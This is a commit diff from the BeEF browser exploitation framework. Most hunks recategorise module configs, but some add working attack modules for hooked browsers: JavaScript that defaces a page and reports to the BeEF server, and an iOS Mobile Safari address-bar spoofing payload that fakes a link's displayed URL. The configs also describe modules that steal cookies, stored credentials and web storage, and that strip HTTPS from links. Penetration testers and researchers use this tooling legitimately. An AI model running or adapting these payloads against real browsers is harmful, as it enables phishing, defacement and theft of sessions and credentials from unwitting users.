# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
class Ajax_fingerprint < BeEF::Core::Command
def post_execute
content = {}
content['script_urls'] = @datastore['script_urls'] if not @datastore['script_urls'].nil?
if content.empty?
content['fail'] = 'Failed to fingerprint ajax.'
end
save content
end
end

View File

@@ -17,7 +17,7 @@ beef:
module:
alert_dialog:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Create Alert Dialog"
description: "Sends an alert dialog to the hooked browser."
authors: ["wade", "bm"]

View File

@@ -14,7 +14,10 @@
// limitations under the License.
//
beef.execute(function() {
document.body.innerHTML = "<%= @deface_content %>";
document.title = "<%= @deface_title %>";
beef.browser.changeFavicon("<%= @deface_favicon %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful");
});

View File

@@ -17,9 +17,9 @@ beef:
module:
deface_web_page:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace Content (Deface)"
description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
description: "Overwrite the page, title and shortcut icon on the hooked page."
authors: ["antisnatchor"]
target:
user_notify: ['ALL']

View File

@@ -0,0 +1,35 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Deface_web_page < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
return [
{ 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
{ 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
{ 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' }
]
end
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -17,7 +17,7 @@ beef:
module:
get_cookie:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Cookie"
description: "This module will retrieve the session cookie from the current page."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_local_storage:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Local Storage"
description: "Extracts data from the HTML5 localStorage object."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_page_html:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Page HTML"
description: "This module will retrieve the HTML from the current page."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_page_links:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Page HREFs"
description: "This module will retrieve HREFs from the target page."
authors: ["vo"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_session_storage:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Session Storage"
description: "Extracts data from the HTML5 sessionStorage object."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_stored_credentials:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Stored Credentials"
description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
link_rewrite:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace HREFs"
description: "This module will rewrite all the href attributes of all matched links."
authors: ["passbe"]

View File

@@ -17,7 +17,7 @@ beef:
module:
link_rewrite_sslstrip:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace HREFs (HTTPS)"
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
authors: ["bcoles"]

View File

@@ -0,0 +1,38 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
var somethingsomething = function() {
var fake_url = "<%= @fake_url %>";
var real_url = "<%= @real_url %>";
var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');
newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');
newWindow.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');
}
beef.execute(function() {
$j('<%= @domselectah %>').each(function() {
$j(this).attr('href','#').click(function() {
somethingsomething();
return true;
});
});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');
});

View File

@@ -0,0 +1,30 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
mobilesafari_address_spoofing:
enable: true
category: ["Browser","Hooked Domain"]
name: "iOS Address Bar Spoofing"
description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')"
authors: ["bcoles","xntrik","majorsecurity.net"]
target:
working:
S:
os: ["iPhone"]
not_working:
ALL:
os: ["All"]

Some files were not shown because too many files have changed in this diff Show More